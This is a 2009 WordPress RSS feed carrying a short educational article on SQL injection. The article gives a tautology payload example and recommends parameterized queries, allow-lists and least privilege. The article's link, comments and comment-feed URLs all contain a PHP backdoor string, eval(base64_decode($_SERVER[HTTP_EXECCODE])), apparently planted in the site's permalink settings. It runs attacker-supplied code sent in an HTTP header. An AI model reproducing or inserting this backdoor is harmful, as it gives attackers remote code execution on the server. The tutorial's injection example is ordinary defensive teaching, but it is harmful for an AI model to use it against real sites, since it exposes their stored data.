<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Knowledge@adpsconsulting.com &#187; SQL injection</title>
	<atom:link href="http://adpsconsulting.com/knowledge/tag/sql-injection/feed/" rel="self" type="application/rss+xml" />
	<link>http://adpsconsulting.com/knowledge</link>
	<description>Knowledge@ADPS</description>
	<lastBuildDate>Wed, 05 Aug 2009 10:00:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Security Threats &#8211; II: SQL Injection</title>
		<link>http://adpsconsulting.com/knowledge/2009/08/05/security-threats-ii-sql-injection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://adpsconsulting.com/knowledge/2009/08/05/security-threats-ii-sql-injection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 05 Aug 2009 09:59:37 +0000</pubDate>
		<dc:creator>ADPS Admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[php appliation security]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[SQL injection]]></category>
		<category><![CDATA[web application security]]></category>

		<guid isPermaLink="false">http://adpsconsulting.com/knowledge/?p=147</guid>
		<description><![CDATA[In this article, the second in our website security attacks series, we look at the hows and whys of SQL injection.
SQL injection involves compromising the security of an application by insertion or injection of an SQL query via the input data from the client to the application. This can happen when the input data is [...]]]></description>
			<content:encoded><![CDATA[<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">In this article, the second in our website security attacks series, we look at the hows and whys of SQL injection.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">SQL injection involves compromising the security of an application by insertion or injection of an SQL query via the input data from the client to the application. This can happen when the input data is not correctly filtered for string literal escape cahracters. Successful SQL exploits can read data from the database and DBMS files, make modifications to it and execute administrative functions on the database.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">How does this work? Let&#8217;s take a simple query</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;"><code>Select * from user_details where username = ;</code></div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">The webpage probably has something similar to the following to capture the username and pass it on to the  backend:</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">string userName = field.getUserName();</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">string query = “Select * from user_details where username = &#8216;” + userName + “&#8217;”;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">If a malicious user wanted to obtain the contents of the entire table (and the application is vulnerable to SQL injection attacks), all he would have to do is, instead of just typing in a username, he&#8217;d input &lt;m_user&#8217; OR &#8216;x&#8217;='x&gt;. When this gets inserted into the query, the query gets transformed into</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Select * from user_details where username = &#8216;m_user&#8217; OR &#8216;x&#8217;='x&#8217;;</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Because &#8216;x&#8217; always equals &#8216;x&#8217;; the condition is always true and the query, which essentially converts into &#8216;Select * from user_details;&#8217;  returns the entire contents of the table user_details.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">Hackers can make use of this vulnerability to obtain data and perpetrate malicious attacks on websites. Some databases allow multiple SQL statements separated by semicolons to be executed as a batch, allowing the attacker to execute arbitrary commands on the database.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">How can you avoid such an attack on your website? A simple approach is to accept characters only from an allowed list of safe characters. This provides a first layer of security for the application. Another way is to use parameterized statements and stored procedures. Also, it must be ensured that the account with the least privileges is used for all user interactions. These precautions will go a long way in preventing your site from being hacked.</div>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px;">http://www.owasp.org/index.php/Guide_to_SQL_Injection; http://en.wikipedia.org/wiki/SQL_injection; http://www.owasp.org/index.php/SQL_injection</div>
<p>In this article, the second in our series of articles on website security attacks, we look at the hows and whys of SQL injection.</p>
<p>SQL injection involves compromising the security of an application by insertion or injection of an SQL query via the input data from the client to the application. This can happen when the input data is not correctly filtered for string literal escape characters. Successful SQL exploits can read data from the database and DBMS files, make modifications to it and execute administrative functions on the database.</p>
<p>How does this work? Let&#8217;s take a simple query:</p>
<p style="text-align: left;"><em>Select * from user_details where username = ;</em></p>
<p>The web page probably has something similar to the following to capture the username and pass it on to the  backend:</p>
<p style="text-align: left;"><em>{ &#8230;</em></p>
<p style="text-align: left;"><em>string userName = field.getUserName();</em></p>
<p style="text-align: left;"><em>string query = “Select * from user_details where username = &#8216;” + userName + “&#8217;”;</em></p>
<p style="text-align: left;"><em>&#8230;}</em></p>
<p>If a malicious user wanted to obtain the contents of the entire table (and the application is vulnerable to SQL injection attacks), instead of just typing in a username, he&#8217;d input &lt;m_user&#8217; OR &#8216;x&#8217;='x&gt;. When this gets inserted into the query, the query gets transformed into:</p>
<p style="text-align: left;"><em>Select * from user_details where username = &#8216;m_user&#8217; OR &#8216;x&#8217;='x&#8217;;</em></p>
<p>Because &#8216;x&#8217; always equals &#8216;x&#8217;, the condition is always true and the query, which essentially converts into <em>&#8216;Select * from user_details;&#8217; </em> returns the entire contents of the table user_details.</p>
<p>Hackers can make use of this vulnerability to obtain data and perpetrate malicious attacks on websites. Some databases allow multiple SQL statements separated by semicolons to be executed as a batch, allowing the attacker to execute arbitrary commands on the database.</p>
<p>How can you avoid such an attack on your website? A simple approach is to accept characters only from an allowed list of safe characters. This provides a first layer of security for the application. Another way is to use parameterized statements and stored procedures. Also, it must be ensured that the account with the least privileges is used for all user interactions. These precautions will go a long way in preventing your site from being hacked.</p>
<p style="text-align: left;"><em>References: http://www.owasp.org/index.php/Guide_to_SQL_Injection; http://en.wikipedia.org/wiki/SQL_injection; http://www.owasp.org/index.php/SQL_injection </em></p>
]]></content:encoded>
			<wfw:commentRss>http://adpsconsulting.com/knowledge/2009/08/05/security-threats-ii-sql-injection/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
